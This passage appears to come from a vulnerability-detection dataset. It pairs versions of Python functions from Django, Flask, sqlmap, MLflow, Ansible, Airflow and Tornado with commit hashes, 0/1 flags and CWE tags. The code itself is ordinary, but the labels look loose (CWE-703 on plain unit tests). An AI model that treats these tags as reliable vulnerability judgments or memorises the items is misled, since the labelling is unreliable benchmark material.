        # Skip proxies, but keep the origin as the proxy model.
        if cls._meta.proxy:
            cls = cls._meta.concrete_model
        meta = cls._meta
        if not meta.auto_created:
            pre_save.send(
                sender=origin, instance=self, raw=raw, using=using,
                update_fields=update_fields,
            )
        with transaction.atomic(using=using, savepoint=False):
            if not raw:
                self._save_parents(cls, using, update_fields)
            updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
        # Store the database on which the object was saved
        self._state.db = using
        # Once saved, this is no longer a to-be-added instance.
        self._state.adding = False

        # Signal that the save is complete
        if not meta.auto_created:
            post_save.send(
                sender=origin, instance=self, created=(not updated),
                update_fields=update_fields, raw=raw, using=using,
            )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/helpers.py,0,"def test_send_file_object(self):
        app = flask.Flask(__name__)
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                with app.open_resource('static/index.html') as f:
                    self.assert_equal(rv.data, f.read())
                self.assert_equal(rv.mimetype, 'text/html')
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                self.assert_equal(rv.mimetype, 'text/html')
                self.assert_in('x-sendfile', rv.headers)
                self.assert_equal(rv.headers['x-sendfile'],
                    os.path.join(app.root_path, 'static/index.html'))
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = False
        with app.test_request_context():
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'application/octet-stream')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f, mimetype='text/plain')
                rv.direct_passthrough = False
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = StringIO('Test')
                rv = flask.send_file(f)
                self.assert_not_in('x-sendfile', rv.headers)
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)",,pallets/flask,90e3906d02780c47e813649b1e282bfd279d7cb1,"def test_send_file_object(self):
        app = flask.Flask(__name__)
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                rv.direct_passthrough = False
                with app.open_resource('static/index.html') as f:
                    self.assert_equal(rv.data, f.read())
                self.assert_equal(rv.mimetype, 'text/html')
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = open(os.path.join(app.root_path, 'static/index.html'))
                rv = flask.send_file(f)
                self.assert_equal(rv.mimetype, 'text/html')
                self.assert_in('x-sendfile', rv.headers)
                self.assert_equal(rv.headers['x-sendfile'],
                    os.path.join(app.root_path, 'static/index.html'))
                rv.close()
            # mimetypes + etag
            self.assert_equal(len(captured), 2)

        app.use_x_sendfile = False
        with app.test_request_context():
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f)
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'application/octet-stream')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)
            with catch_warnings() as captured:
                f = StringIO('Test')
                rv = flask.send_file(f, mimetype='text/plain')
                self.assert_equal(rv.data, b'Test')
                self.assert_equal(rv.mimetype, 'text/plain')
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)

        app.use_x_sendfile = True
        with catch_warnings() as captured:
            with app.test_request_context():
                f = StringIO('Test')
                rv = flask.send_file(f)
                self.assert_not_in('x-sendfile', rv.headers)
                rv.close()
            # etags
            self.assert_equal(len(captured), 1)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setSafeVisit():
    """"""
    Check and set the safe visit options.
    """"""
    if not any((conf.safeUrl, conf.safeReqFile)):
        return

    if conf.safeReqFile:
        checkFile(conf.safeReqFile)

        raw = readCachedFileContent(conf.safeReqFile)
        match = re.search(r""\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z"", raw.split('\n')[0].strip())

        if match:
            kb.safeReq.method = match.group(1)
            kb.safeReq.url = match.group(2)
            kb.safeReq.headers = {}

            for line in raw.split('\n')[1:]:
                line = line.strip()
                if line and ':' in line:
                    key, value = line.split(':', 1)
                    value = value.strip()
                    kb.safeReq.headers[key] = value
                    if key.upper() == HTTP_HEADER.HOST.upper():
                        if not value.startswith(""http""):
                            scheme = ""http""
                            if value.endswith("":443""):
                                scheme = ""https""
                            value = ""%s://%s"" % (scheme, value)
                        kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url)
                else:
                    break

            post = None

            if '\r\n\r\n' in raw:
                post = raw[raw.find('\r\n\r\n') + 4:]
            elif '\n\n' in raw:
                post = raw[raw.find('\n\n') + 2:]

            if post and post.strip():
                kb.safeReq.post = post
            else:
                kb.safeReq.post = None
        else:
            errMsg = ""invalid format of a safe request file""
            raise SqlmapSyntaxException(errMsg)
    else:
        if not re.search(r""\Ahttp[s]*://"", conf.safeUrl):
            if "":443/"" in conf.safeUrl:
                conf.safeUrl = ""https://"" + conf.safeUrl
            else:
                conf.safeUrl = ""http://"" + conf.safeUrl

    if (conf.safeFreq or 0) <= 0:
        errMsg = ""please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features""
        raise SqlmapSyntaxException(errMsg)",,sqlmapproject/sqlmap,27e2409e17ae3a1c21801d543438fc75e478e5e3,"def _setSafeVisit():
    """"""
    Check and set the safe visit options.
    """"""
    if not any((conf.safeUrl, conf.safeReqFile)):
        return

    if conf.safeReqFile:
        checkFile(conf.safeReqFile)

        raw = readCachedFileContent(conf.safeReqFile)
        match = re.search(r""\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z"", raw.split('\n')[0].strip())

        if match:
            kb.safeReq.method = match.group(1)
            kb.safeReq.url = match.group(2)
            kb.safeReq.headers = {}

            for line in raw.split('\n')[1:]:
                line = line.strip()
                if line and ':' in line:
                    key, value = line.split(':', 1)
                    value = value.strip()
                    kb.safeReq.headers[key] = value
                    if key.upper() == HTTP_HEADER.HOST.upper():
                        if not value.startswith(""http""):
                            scheme = ""http""
                            if value.endswith("":443""):
                                scheme = ""https""
                            value = ""%s://%s"" % (scheme, value)
                        kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url)
                else:
                    break

            post = None

            if '\r\n\r\n' in raw:
                post = raw[raw.find('\r\n\r\n') + 4:]
            elif '\n\n' in raw:
                post = raw[raw.find('\n\n') + 2:]

            if post and post.strip():
                kb.safeReq.post = post
            else:
                kb.safeReq.post = None
        else:
            errMsg = ""invalid format of a safe request file""
            raise SqlmapSyntaxException(errMsg)
    else:
        if not re.search(r""\Ahttp[s]*://"", conf.safeUrl):
            if "":443/"" in conf.safeUrl:
                conf.safeUrl = ""https://"" + conf.safeUrl
            else:
                conf.safeUrl = ""http://"" + conf.safeUrl

    if conf.safeFreq <= 0:
        errMsg = ""please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features""
        raise SqlmapSyntaxException(errMsg)"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_autolog.py,1,"def test_autolog_link_traces_to_active_model(model_infos):
    model = mlflow.create_external_model(name=""test_model"")
    mlflow.set_active_model(model_id=model.model_id)
    mlflow.langchain.autolog()

    for model_info in model_infos:
        loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
        loaded_model.predict({""product"": model_info.model_id})

    traces = get_traces()
    assert len(traces) == len(model_infos)
    for trace in traces:
        logged_model_id = json.loads(trace.data.request)[""product""]
        assert logged_model_id is not None
        assert trace.info.request_metadata[SpanAttributeKey.MODEL_ID] == model.model_id
        assert model.model_id != logged_model_id",CWE-703,mlflow/mlflow,88348a351a41a8a3afe79b0aa93b2a81589faacd,"def test_autolog_link_traces_to_active_model(model_infos):
    model = mlflow.create_external_model(name=""test_model"")
    mlflow.set_active_model(model_id=model.model_id)
    mlflow.langchain.autolog()

    for model_info in model_infos:
        loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
        loaded_model.predict({""product"": model_info.model_id})

    traces = get_traces()
    assert len(traces) == len(model_infos)
    for trace in traces:
        logged_model_id = json.loads(trace.data.request)[""product""]
        assert logged_model_id is not None
        assert trace.info.request_metadata[SpanAttributeKey.MODEL_ID] == model.model_id
        assert model.model_id != logged_model_id"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/debughelpers.py,0,"def __getitem__(self, key):
            try:
                return oldcls.__getitem__(self, key)
            except KeyError as e:
                if key not in request.form:
                    raise

                raise DebugFilesKeyError(request, key) from e",,pallets/flask,6a4bf9eec13e035cf10ecc16e462049b4c967e41,"def __getitem__(self, key):
            try:
                return oldcls.__getitem__(self, key)
            except KeyError:
                if key not in request.form:
                    raise
                raise DebugFilesKeyError(request, key)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/azure/azure_rm_resourcegroup_info.py,0,"def __init__(self):

        self.module_arg_spec = dict(
            name=dict(type='str'),
            tags=dict(type='list'),
            list_resources=dict(type='bool')
        )

        self.results = dict(
            changed=False,
            resourcegroups=[]
        )

        self.name = None
        self.tags = None
        self.list_resources = None

        super(AzureRMResourceGroupInfo, self).__init__(self.module_arg_spec,
                                                       supports_tags=False,
                                                       facts_module=True)",,ansible/ansible,ac61dc60aa7d2e4c1cd76a0f306192311b8753d7,"def __init__(self):

        self.module_arg_spec = dict(
            name=dict(type='str'),
            tags=dict(type='list'),
            list_resources=dict(type='bool')
        )

        self.results = dict(
            changed=False,
            ansible_facts=dict(azure_resourcegroups=[]),
            resourcegroups=[]
        )

        self.name = None
        self.tags = None
        self.list_resources = None

        super(AzureRMResourceGroupInfo, self).__init__(self.module_arg_spec,
                                                       supports_tags=False,
                                                       facts_module=True)"
,UNKNOWN,UNKNOWN,helm_tests/other/test_keda.py,1,"def test_persistence(self, enabled, kind):
        """"""If worker persistence is enabled, scaleTargetRef should be StatefulSet else Deployment.""""""
        is_enabled = enabled == ""enabled""
        docs = render_chart(
            values={
                ""workers"": {""keda"": {""enabled"": True}, ""persistence"": {""enabled"": is_enabled}},
                ""executor"": ""CeleryExecutor"",
            },
            show_only=[""templates/workers/worker-kedaautoscaler.yaml""],
        )
        assert jmespath.search(""spec.scaleTargetRef.kind"", docs[0]) == kind",CWE-703,apache/airflow,f7ad549f2d7119a6496e3e66c43f078fbcc98ec1,"def test_persistence(self, enabled, kind):
        """"""If worker persistence is enabled, scaleTargetRef should be StatefulSet else Deployment.""""""
        is_enabled = enabled == ""enabled""
        docs = render_chart(
            values={
                ""workers"": {""keda"": {""enabled"": True}, ""persistence"": {""enabled"": is_enabled}},
                ""executor"": ""CeleryExecutor"",
            },
            show_only=[""templates/workers/worker-kedaautoscaler.yaml""],
        )
        assert jmespath.search(""spec.scaleTargetRef.kind"", docs[0]) == kind"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/locks.py,0,"def release(self):
        """"""Increment the counter and wake one waiter.""""""
        self._value += 1
        while self._waiters:
            waiter = self._waiters.popleft()
            if not waiter.done():
                self._value -= 1

                # If the waiter is a coroutine paused at
                #
                #     with (yield semaphore.acquire()):
                #
                # then the context manager's __exit__ calls release() at the end
                # of the ""with"" block.
                waiter.set_result(_ReleasingContextManager(self))
                break",CWE-Unknown,tornadoweb/tornado,7ebed4ac9c5ad8bedac6c8ce4c5d50fef401bf83,"def release(self):
        """"""Increment the counter and wake one waiter.""""""
        self._value += 1
        for waiter in self._waiters:
            if not waiter.done():
                self._value -= 1

                # If the waiter is a coroutine paused at
                #
                #     with (yield semaphore.acquire()):
                #
                # then the context manager's __exit__ calls release() at the end
                # of the ""with"" block.
                waiter.set_result(_ReleasingContextManager(self))
                break"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def run(
            self,
            verbose=True,
            ignore_dependencies=False,  # Doesn't check for deps, just runs
            force=False,  # Disregards previous successes
            mark_success=False,  # Don't run the task, act as if it succeeded
            test_mode=False,  # Doesn't record success or failure in the DB
            job_id=None,
            pool=None,):
        """"""
        Runs the task instance.
        """"""
        task = self.task
        self.pool = pool or task.pool
        session = settings.Session()
        self.refresh_from_db(session)
        session.commit()
        self.job_id = job_id
        iso = datetime.now().isoformat()
        self.hostname = socket.gethostname()
        self.operator = task.__class__.__name__

        if self.state == State.RUNNING:
            logging.warning(""Another instance is running, skipping."")
        elif not force and self.state == State.SUCCESS:
            logging.info(
                ""Task {self} previously succeeded""
                "" on {self.end_date}"".format(**locals())
            )
        elif not ignore_dependencies and \
                not self.are_dependencies_met(session):
            logging.warning(""Dependencies not met yet"")
        elif self.state == State.UP_FOR_RETRY and \
                not self.ready_for_retry():
            next_run = (self.end_date + task.retry_delay).isoformat()
            logging.info(
                ""Not ready for retry yet. "" +
                ""Next run after {0}"".format(next_run)
            )
        elif force or self.state in State.runnable():
            msg = ""\n"" + (""-"" * 80)
            if self.state == State.UP_FOR_RETRY:
                msg += ""\nRetry run {self.try_number} out of {task.retries} ""
                msg += ""starting @{iso}\n""
            else:
                msg += ""\nNew run starting @{iso}\n""
            msg += (""-"" * 80)
            logging.info(msg.format(**locals()))

            self.start_date = datetime.now()
            if self.state == State.UP_FOR_RETRY:
                self.try_number += 1
            else:
                self.try_number = 1
            if not force and (self.pool or self.task.dag.concurrency_reached):
                # If a pool is set for this task, marking the task instance
                # as QUEUED
                self.state = State.QUEUED
                self.queued_dttm = datetime.now()
                session.merge(self)
                session.commit()
                session.close()
                logging.info(""Queuing into pool {}"".format(self.pool))
                return
            if not test_mode:
                session.add(Log(State.RUNNING, self))
            self.state = State.RUNNING
            self.end_date = None
            if not test_mode:
                session.merge(self)
            session.commit()
            if verbose:
                if mark_success:
                    msg = ""Marking success for ""
                else:
                    msg = ""Executing ""
                msg += ""{self.task} on {self.execution_date}""

            context = {}
            try:
                logging.info(msg.format(self=self))
                if not mark_success:
                    context = self.get_template_context()

                    task_copy = copy.copy(task)
                    self.task = task_copy

                    def signal_handler(signum, frame):
                        '''Setting kill signal handler'''
                        logging.error(""Killing subprocess"")
                        task_copy.on_kill()
                        raise AirflowException(""Task received SIGTERM signal"")
                    signal.signal(signal.SIGTERM, signal_handler)

                    self.render_templates()
                    task_copy.pre_execute(context=context)

                    # If a timout is specified for the task, make it fail
                    # if it goes beyond
                    result = None
                    if task_copy.execution_timeout:
                        with utils.timeout(int(
                                task_copy.execution_timeout.total_seconds())):
                            result = task_copy.execute(context=context)

                    else:
                        result = task_copy.execute(context=context)

                    # If the task returns a result, push an XCom containing it
                    if result is not None:
                        self.xcom_push(key=XCOM_RETURN_KEY, value=result)

                    task_copy.post_execute(context=context)
            except (Exception, KeyboardInterrupt) as e:
                self.handle_failure(e, test_mode, context)
                raise

            # Recording SUCCESS
            session = settings.Session()
            self.end_date = datetime.now()
            self.set_duration()
            self.state = State.SUCCESS
            if not test_mode:
                session.add(Log(State.SUCCESS, self))
                session.merge(self)

            # Success callback
            try:
                if task.on_success_callback:
                    task.on_success_callback(context)
            except Exception as e3:
                logging.error(""Failed when executing success callback"")
                logging.exception(e3)

        session.commit()",CWE-Unknown,apache/airflow,756228339f4dc88752d16869b32f20f91746c278,"def run(
            self,
            verbose=True,
            ignore_dependencies=False,  # Doesn't check for deps, just runs
            force=False,  # Disregards previous successes
            mark_success=False,  # Don't run the task, act as if it succeeded
            test_mode=False,  # Doesn't record success or failure in the DB
            job_id=None,
            pool=None,):
        """"""
        Runs the task instance.
        """"""
        task = self.task
        self.pool = pool or task.pool
        session = settings.Session()
        self.refresh_from_db(session)
        session.commit()
        self.job_id = job_id
        iso = datetime.now().isoformat()
        self.hostname = socket.gethostname()
        self.operator = task.__class__.__name__

        if self.state == State.RUNNING:
            logging.warning(""Another instance is running, skipping."")
        elif not force and self.state == State.SUCCESS:
            logging.info(
                ""Task {self} previously succeeded""
                "" on {self.end_date}"".format(**locals())
            )
        elif not ignore_dependencies and \
                not self.are_dependencies_met(session):
            logging.warning(""Dependencies not met yet"")
        elif self.state == State.UP_FOR_RETRY and \
                not self.ready_for_retry():
            next_run = (self.end_date + task.retry_delay).isoformat()
            logging.info(
                ""Not ready for retry yet. "" +
                ""Next run after {0}"".format(next_run)
            )
        elif force or self.state in State.runnable():
            msg = ""\n"" + (""-"" * 80)
            if self.state == State.UP_FOR_RETRY:
                msg += ""\nRetry run {self.try_number} out of {task.retries} ""
                msg += ""starting @{iso}\n""
            else:
                msg += ""\nNew run starting @{iso}\n""
            msg += (""-"" * 80)
            logging.info(msg.format(**locals()))

            self.start_date = datetime.now()
            if not force and (self.pool or self.task.dag.concurrency_reached):
                # If a pool is set for this task, marking the task instance
                # as QUEUED
                self.state = State.QUEUED
                self.queued_dttm = datetime.now()
                session.merge(self)
                session.commit()
                session.close()
                logging.info(""Queuing into pool {}"".format(self.pool))
                return
            if self.state == State.UP_FOR_RETRY:
                self.try_number += 1
            else:
                self.try_number = 1
            if not test_mode:
                session.add(Log(State.RUNNING, self))
            self.state = State.RUNNING
            self.end_date = None
            if not test_mode:
                session.merge(self)
            session.commit()
            if verbose:
                if mark_success:
                    msg = ""Marking success for ""
                else:
                    msg = ""Executing ""
                msg += ""{self.task} on {self.execution_date}""

            context = {}
            try:
                logging.info(msg.format(self=self))
                if not mark_success:
                    context = self.get_template_context()

                    task_copy = copy.copy(task)
                    self.task = task_copy

                    def signal_handler(signum, frame):
                        '''Setting kill signal handler'''
                        logging.error(""Killing subprocess"")
                        task_copy.on_kill()
                        raise AirflowException(""Task received SIGTERM signal"")
                    signal.signal(signal.SIGTERM, signal_handler)

                    self.render_templates()
                    task_copy.pre_execute(context=context)

                    # If a timout is specified for the task, make it fail
                    # if it goes beyond
                    result = None
                    if task_copy.execution_timeout:
                        with utils.timeout(int(
                                task_copy.execution_timeout.total_seconds())):
                            result = task_copy.execute(context=context)

                    else:
                        result = task_copy.execute(context=context)

                    # If the task returns a result, push an XCom containing it
                    if result is not None:
                        self.xcom_push(key=XCOM_RETURN_KEY, value=result)

                    task_copy.post_execute(context=context)
            except (Exception, KeyboardInterrupt) as e:
                self.handle_failure(e, test_mode, context)
                raise

            # Recording SUCCESS
            session = settings.Session()
            self.end_date = datetime.now()
            self.set_duration()
            self.state = State.SUCCESS
            if not test_mode:
                session.add(Log(State.SUCCESS, self))
                session.merge(self)

            # Success callback
            try:
                if task.on_success_callback:
                    task.on_success_callback(context)
            except Exception as e3:
                logging.error(""Failed when executing success callback"")
                logging.exception(e3)

        session.commit()"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/always/test_project_structure.py,1,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /providers/ has a corresponding test_ file in providers/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        # TODO(potiuk) - check if that test actually tests something
        OVERLOOKED_TESTS = [
            ""providers/alibaba/tests/unit/alibaba/test_version_compat.py"",
            ""providers/amazon/tests/unit/amazon/aws/auth_manager/datamodels/test_login.py"",
            ""providers/amazon/tests/unit/amazon/aws/auth_manager/security_manager/test_aws_security_manager_override.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_batch_executor_config.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_boto_schema.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/batch/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/ecs/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/aws_lambda/test_utils.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/aws_lambda/docker/test_app.py"",
            ""providers/amazon/tests/unit/amazon/aws/executors/utils/test_base_config_keys.py"",
            ""providers/amazon/tests/unit/amazon/aws/operators/test_emr.py"",
            ""providers/amazon/tests/unit/amazon/aws/operators/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/sensors/test_emr.py"",
            ""providers/amazon/tests/unit/amazon/aws/sensors/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/test_exceptions.py"",
            ""providers/amazon/tests/unit/amazon/aws/triggers/test_sagemaker_unified_studio.py"",
            ""providers/amazon/tests/unit/amazon/aws/triggers/test_step_function.py"",
            ""providers/amazon/tests/unit/amazon/aws/utils/test_rds.py"",
            ""providers/amazon/tests/unit/amazon/aws/utils/test_sagemaker.py"",
            ""providers/amazon/tests/unit/amazon/aws/waiters/test_base_waiter.py"",
            ""providers/amazon/tests/unit/amazon/test_version_compat.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/hooks/test_hdfs.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""providers/apache/hdfs/tests/unit/apache/hdfs/sensors/test_hdfs.py"",
            ""providers/apache/hive/tests/unit/apache/hive/plugins/test_hive.py"",
            ""providers/apache/spark/tests/unit/apache/spark/test_version_compat.py"",
            ""providers/celery/tests/unit/celery/executors/test_celery_executor_utils.py"",
            ""providers/celery/tests/unit/celery/executors/test_default_celery.py"",
            ""providers/celery/tests/unit/celery/test_version_compat.py"",
            ""providers/cloudant/tests/unit/cloudant/test_cloudant_fake.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_exceptions.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_k8s_model.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_kube_client.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_kube_config.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_secret.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/test_version_compat.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_delete_from.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""providers/cncf/kubernetes/tests/unit/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""providers/common/compat/tests/unit/common/compat/lineage/test_entities.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_operators.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_triggers.py"",
            ""providers/common/compat/tests/unit/common/compat/standard/test_utils.py"",
            ""providers/common/compat/tests/unit/common/compat/test_version_compat.py"",
            ""providers/common/io/tests/unit/common/io/test_version_compat.py"",
            ""providers/common/messaging/tests/unit/common/messaging/providers/test_base_provider.py"",
            ""providers/common/messaging/tests/unit/common/messaging/providers/test_sqs.py"",
            ""providers/databricks/tests/unit/databricks/test_version_compat.py"",
            ""providers/dbt/cloud/tests/unit/dbt/cloud/test_version_compat.py"",
            ""providers/docker/tests/unit/docker/test_version_compat.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_job.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_logs.py"",
            ""providers/edge3/tests/unit/edge3/models/test_edge_worker.py"",
            ""providers/edge3/tests/unit/edge3/test_version_compat.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test__v2_compat.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test__v2_routes.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/routes/test_jobs.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_app.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_auth.py"",
            ""providers/edge3/tests/unit/edge3/worker_api/test_datamodels.py"",
            ""providers/elasticsearch/tests/unit/elasticsearch/test_version_compat.py"",
            ""providers/fab/tests/unit/fab/auth_manager/api_fastapi/datamodels/test_login.py"",
            ""providers/fab/tests/unit/fab/migrations/test_env.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_exceptions.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_parameters.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_security.py"",
            ""providers/fab/tests/unit/fab/www/api_connexion/test_types.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_appbuilder.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_jinja_globals.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_manifest_files.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_security.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_session.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_views.py"",
            ""providers/fab/tests/unit/fab/www/extensions/test_init_wsgi_middlewares.py"",
            ""providers/fab/tests/unit/fab/www/security/test_permissions.py"",
            ""providers/fab/tests/unit/fab/www/test_airflow_flask_app.py"",
            ""providers/fab/tests/unit/fab/www/test_app.py"",
            ""providers/fab/tests/unit/fab/www/test_constants.py"",
            ""providers/fab/tests/unit/fab/www/test_security_appless.py"",
            ""providers/fab/tests/unit/fab/www/test_security_manager.py"",
            ""providers/fab/tests/unit/fab/www/test_session.py"",
            ""providers/fab/tests/unit/fab/www/test_utils.py"",
            ""providers/fab/tests/unit/fab/www/test_views.py"",
            ""providers/google/tests/unit/google/cloud/fs/test_gcs.py"",
            ""providers/google/tests/unit/google/cloud/links/test_automl.py"",
            ""providers/google/tests/unit/google/cloud/links/test_base.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigquery.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigquery_dts.py"",
            ""providers/google/tests/unit/google/cloud/links/test_bigtable.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_build.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_functions.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_memorystore.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_sql.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_storage_transfer.py"",
            ""providers/google/tests/unit/google/cloud/links/test_cloud_tasks.py"",
            ""providers/google/tests/unit/google/cloud/links/test_compute.py"",
            ""providers/google/tests/unit/google/cloud/links/test_data_loss_prevention.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datacatalog.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataflow.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataform.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datafusion.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataprep.py"",
            ""providers/google/tests/unit/google/cloud/links/test_dataproc.py"",
            ""providers/google/tests/unit/google/cloud/links/test_datastore.py"",
            ""providers/google/tests/unit/google/cloud/links/test_kubernetes_engine.py"",
            ""providers/google/tests/unit/google/cloud/links/test_life_sciences.py"",
            ""providers/google/tests/unit/google/cloud/links/test_mlengine.py"",
            ""providers/google/tests/unit/google/cloud/links/test_pubsub.py"",
            ""providers/google/tests/unit/google/cloud/links/test_spanner.py"",
            ""providers/google/tests/unit/google/cloud/links/test_stackdriver.py"",
            ""providers/google/tests/unit/google/cloud/links/test_vertex_ai.py"",
            ""providers/google/tests/unit/google/cloud/links/test_workflows.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""providers/google/tests/unit/google/cloud/operators/vertex_ai/test_ray.py"",
            ""providers/google/tests/unit/google/cloud/sensors/vertex_ai/test_feature_store.py"",
            ""providers/google/tests/unit/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""providers/google/tests/unit/google/cloud/transfers/test_presto_to_gcs.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_bigquery.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_bigquery_get_data.py"",
            ""providers/google/tests/unit/google/cloud/utils/test_dataform.py"",
            ""providers/google/tests/unit/google/common/links/test_storage.py"",
            ""providers/google/tests/unit/google/common/test_consts.py"",
            ""providers/google/tests/unit/google/common/hooks/test_operation_helpers.py"",
            ""providers/google/tests/unit/google/test_go_module_utils.py"",
            ""providers/google/tests/unit/google/test_version_compat.py"",
            ""providers/http/tests/unit/http/test_exceptions.py"",
            ""providers/keycloak/tests/unit/keycloak/auth_manager/datamodels/test_token.py"",
